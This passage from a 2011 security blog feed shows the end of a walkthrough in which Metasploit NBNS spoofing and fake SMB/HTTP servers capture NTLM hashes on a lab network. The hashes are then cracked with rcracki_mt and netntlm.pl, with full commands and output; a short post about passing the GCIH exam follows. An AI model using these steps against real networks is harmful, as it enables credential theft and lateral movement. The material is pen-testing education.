445&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local port to listen on.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Negotiate SSL for incoming connections&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SSLVersion&amp;nbsp; SSL3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;&lt;b&gt;auxiliary/server/capture/http_ntlm&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;msf auxiliary(http_ntlm) &amp;gt; show options&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Module options (auxiliary/server/capture/http_ntlm):&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp;&amp;nbsp; Required&amp;nbsp; Description&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------&amp;nbsp;&amp;nbsp; --------&amp;nbsp; -----------&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; CHALLENGE&amp;nbsp;&amp;nbsp; 1122334455667788&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The 8 byte challenge &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; LOGFILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /tmp/httplog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local filename to store the captured hashes&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; PWFILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local filename to store the hashes in Cain&amp;amp;Abel format&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SRVHOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 172.72.5.1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local host to listen on. This must be an address on the local machine or 0.0.0.0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SRVPORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local port to listen on.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Negotiate SSL for incoming connections&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; SSLVersion&amp;nbsp; SSL3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; URIPATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The URI to use for this exploit (default is random)&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;When the user attempts to authenticate / access the SMB / HTTP services, our rogue server responds and the end-client sends it's hashed credentials for getting authenticated. &lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;msf auxiliary(smb) &amp;gt; [*] 2011-04-19 16:20:17 +0530&lt;br /&gt;NTLMv1 Response Captured from 172.72.5.139:1063 &lt;br /&gt;PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1&lt;br /&gt;LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50 &lt;br /&gt;NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;msf auxiliary(http_ntlm) &amp;gt; [*] Packet Recieved from 172.72.5.139&lt;br /&gt;[*] Regex matched SERVER from 172.72.5.139. Sending reply...&lt;br /&gt;[*] Request '/' from 172.72.5.139:1058&lt;br /&gt;[*] Request '/' from 172.72.5.139:1058&lt;br /&gt;[*] Request '/' from 172.72.5.139:1058&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: x-small;"&gt;[*] 172.72.5.139: PLAYGROUND1\Administrator 76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a on PLAYGROUND1&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;We have configured logging location in module options and these hashes are captured in their respective log files.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;root@victor:Tools# cat /tmp/smblog &lt;br /&gt;2011-04-19 16:20:17 +0530&lt;br /&gt;NTLMv1 Response Captured from 172.72.5.139:1063 &lt;br /&gt;PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1&lt;br /&gt;LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50 &lt;br /&gt;NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;root@victor:Tools# &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;cat /tmp/httplog &lt;br /&gt;2011-04-19 16:17:49 +0530:172.72.5.139:PLAYGROUND1:PLAYGROUND1:Administrator:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;But these hashes are salted with a challenge, which means cracking them is not feasible. For salted hashes, we will use Rainbow tables.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Download the free Rainbow tables here:&lt;/span&gt;&lt;br /&gt;&lt;a href="ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Using &lt;b&gt;rcracki&lt;/b&gt; [ &lt;a href="http://sourceforge.net/projects/rcracki/"&gt;http://sourceforge.net/projects/rcracki/&lt;/a&gt; ] and the rainbow tables, we now crack the first half of the LM hash. We only have to take &lt;u&gt;first 16 characters from the LM hash&lt;/u&gt; and use it with rcracki_mt as follows:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;./rcracki_mt -h &amp;lt;first 16 chars of LM hash&amp;gt; /path/to/rainbowtables/&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;[ First 16 chars of LM hash in this instance -&amp;gt; &lt;u&gt;76365e2d142b5612&lt;/u&gt; ]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;So the command I run is:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="text-align: left;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;./rcracki_mt -h 76365e2d142b5612 /halflmchall_all-space#1-7_0/&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;First portion cracked&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;### output snipped ###&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;statistics&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;-------------------------------------------------------&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;plaintext found: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 of 1 (100.00%)&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total disk access time: &amp;nbsp; &amp;nbsp; 23.17 s&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total cryptanalysis time: &amp;nbsp; 16.95 s&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total pre-calculation time: 260.47 s&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total chain walk step: &amp;nbsp; &amp;nbsp; &amp;nbsp;199970001&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total false alarm: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1669&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;total chain walk step due to false alarm: 12603773&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;result&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;-------------------------------------------------------&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;76365e2d142b5612 &amp;nbsp; &amp;nbsp;PASSWOR &amp;nbsp; &amp;nbsp;hex:50415353574f52&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;### output snipped ###&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Aha..we have got first portion of the password [ &lt;b&gt;PASSWOR&lt;/b&gt; ]. Now we feed this portion of password as a seed to &lt;i&gt;netntlm.pl&lt;/i&gt; [ found in john install directory ]. The input file should have the hashes in john-compatible format [ from smblog ] or in the following format from httplog:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&amp;lt;user&amp;gt;:::&amp;lt;LMHASH&amp;gt;:&amp;lt;NTLMHASH&amp;gt;:&amp;lt;Metasploit_static_CHALLENGE&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;i.e. in the format as follows -&amp;gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;root@victor:Tools# cat /tmp/nbns&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;playground\administrator:::76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a:1122334455667788&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;netntlm.pl is run as follows:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;./netntml.pl --seed &amp;lt;first_portion&amp;gt; --file nbns&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;root@victor:run#&lt;/span&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;./netntml.pl --seed&amp;nbsp;PASSWOR&amp;nbsp;--file /tmp/nbns&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;So we have the uppercase password -&amp;gt; &lt;span style="font-size: small;"&gt;&lt;b&gt;PASSWORK&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Now we have got the full password. But as we can see here, it is all uppercase. We need to run it through the previous command again - i.e.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;root@victor:run#&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;./netntml.pl --seed PASSWORK --file /tmp/nbns&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;- and we will get the password in it's true case.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;Performing NTLM case-sensitive crack for account: playground\administrator.&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;guesses: 1 &amp;nbsp;time: 0:00:00:00 100.00% (ETA: Tue Apr 12 17:19:56 2011) &amp;nbsp;c/s: 1163 &amp;nbsp;trying: passwork&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif; font-size: x-small;"&gt;Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="font-size: x-small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;passwork &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (playground\administrator)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;We found the true case password -&amp;gt; "&lt;b&gt;passwork&lt;/b&gt;" :)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;We have the password and can now use it in further attacks such as using psexec.!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="moz-text-html" lang="x-western"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;iframe frameborder="0" height="506" src="http://player.vimeo.com/video/22414707?byline=0" width="900"&gt;&lt;/iframe&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://vimeo.com/22414707"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Metasploit NBNS Auxilary in action&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt; from &lt;a href="http://vimeo.com/karn"&gt;KG&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Metasploit's Auxilary module netbios name spoofer is very convenient and effective in a pen test. Start the module, then set up fake services like smb / http, and then just lay back n watch hashes pop up...!&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="moz-text-html" lang="x-western"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana,sans-serif;"&gt;Thank You for watching!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-8356637562906831231?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/8356637562906831231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/metasploit-nbns-auxilary-ftw.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8356637562906831231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8356637562906831231'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/metasploit-nbns-auxilary-ftw.html' title='Metasploit NBNS Auxiliary FTW'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-1940475159301764735</id><published>2011-04-06T13:17:00.001+05:30</published><updated>2012-01-30T01:10:21.209+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='GCIH Exam'/><category scheme='http://www.blogger.com/atom/ns#' term='Incident Handling'/><category scheme='http://www.blogger.com/atom/ns#' term='GCIH'/><category scheme='http://www.blogger.com/atom/ns#' term='GIAC'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS 504'/><category scheme='http://www.blogger.com/atom/ns#' term='Passed GCIH'/><title type='text'>Passed GIAC GCIH Exam</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hey fellas,&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;After around a month's preparation post &lt;a href="http://ipositivesecurity.blogspot.com/2011/03/passed-giac-gpen-today.html"&gt;passing GPEN&lt;/a&gt;, I sat for and&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;passed&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;GIAC Incident Handling exam yesterday.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here is the program detail:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.giac.org/certifications/security/gcih.php"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;GIAC Certified Incident Handler&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This subject teaches about Incident Handling skills, and dives deep into various attack vectors. Also, interesting is to learn how to understand and apply this knowledge to attacks vis-a-vis the 6 Incident Handling phases.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The exam was gripping at all times, and I found a handful of pretty tricky questions in there too. I will not delve any detail on the questions, only that you should have decent experience in most / all the topics mentioned in the syllabii as well as have at least some exposure to handling events / incidents from a high level.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here is the GCIH certification bulletin:&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;a href="http://www.giac.org/certbulletin/gcih.php"&gt;http://www.giac.org/certbulletin/gcih.php&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Day 1 today, and I am already finding this knowledge very helpful. It is comforting to be able to relate methods n thought process of a penetration tester in confirming / exploiting security weaknesses in a customer environment, with the defensive approach of an Incident Handler. This brings out all the worth of GPEN n GCIH cos it is crucial to be able to help customers' infosec / security team 